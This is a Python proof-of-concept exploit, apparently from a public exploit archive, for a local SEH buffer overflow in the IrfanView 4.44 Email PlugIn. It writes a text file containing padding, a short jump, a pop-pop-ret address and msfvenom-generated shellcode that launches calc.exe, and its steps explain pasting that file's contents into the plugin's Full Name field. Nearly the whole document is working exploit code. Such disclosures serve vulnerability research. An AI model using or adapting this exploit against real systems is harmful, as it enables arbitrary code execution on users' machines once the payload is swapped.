IrfanView 4.44 Email Plugin - Buffer Overflow (SEH)

#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: IrfanView 4.44 Email PlugIn - Local Buffer Overflow (SEH)
# Date: 02-07-2018
# Vulnerable Software: IrfanView 4.44 Email PlugIn
# Vendor Homepage: http://www.irfanview.com/
# Version: 4.44
# Software Link: http://www.irfanview.info/files/irfanview_444.exe
# Software Link: http://www.irfanview.info/files/irfanview_plugins_444.zip
# Tested On: Windows XP SP3 x86 and Windows 7 SP1 x86
#
# PoC
# 1. generate irfan.txt, copy contents to clipboard
# 2. open IrfanView and a sample image from My Pictures (i.e. Chrysanthemum.jpg)
# 3. select Options, Send by Email, Settings
# 4. paste contents from clipboard into Full Name and select OK
# 5. application crashes
# 6. pop calc
#   

filename="irfan.txt"

junk = "\x41"*1236

#jump 6
nseh = "\xeb\x06\x90\x90"

#0x10021420 : pop ebp # pop ebx # ret
seh = "\x20\x14\x02\x10"

#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f c
#Payload size: 220 bytes
calc = (
"\xda\xdf\xba\x32\x98\xc1\x8e\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x31\x83\xe8\xfc\x31\x50\x14\x03\x50\x26\x7a\x34\x72\xae\xf8"
"\xb7\x8b\x2e\x9d\x3e\x6e\x1f\x9d\x25\xfa\x0f\x2d\x2d\xae\xa3"
"\xc6\x63\x5b\x30\xaa\xab\x6c\xf1\x01\x8a\x43\x02\x39\xee\xc2"
"\x80\x40\x23\x25\xb9\x8a\x36\x24\xfe\xf7\xbb\x74\x57\x73\x69"
"\x69\xdc\xc9\xb2\x02\xae\xdc\xb2\xf7\x66\xde\x93\xa9\xfd\xb9"
"\x33\x4b\xd2\xb1\x7d\x53\x37\xff\x34\xe8\x83\x8b\xc6\x38\xda"
"\x74\x64\x05\xd3\x86\x74\x41\xd3\x78\x03\xbb\x20\x04\x14\x78"
"\x5b\xd2\x91\x9b\xfb\x91\x02\x40\xfa\x76\xd4\x03\xf0\x33\x92"
"\x4c\x14\xc5\x77\xe7\x20\x4e\x76\x28\xa1\x14\x5d\xec\xea\xcf"
"\xfc\xb5\x56\xa1\x01\xa5\x39\x1e\xa4\xad\xd7\x4b\xd5\xef\xbd"
"\x8a\x6b\x8a\xf3\x8d\x73\x95\xa3\xe5\x42\x1e\x2c\x71\x5b\xf5"
"\x09\x8d\x11\x54\x3b\x06\xfc\x0c\x7e\x4b\xff\xfa\xbc\x72\x7c"
"\x0f\x3c\x81\x9c\x7a\x39\xcd\x1a\x96\x33\x5e\xcf\x98\xe0\x5f"
"\xda\xfa\x67\xcc\x86\xd2\x02\x74\x2c\x2b")

fill = "\x44"*1000

buffer = junk + nseh + seh + calc + fill
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()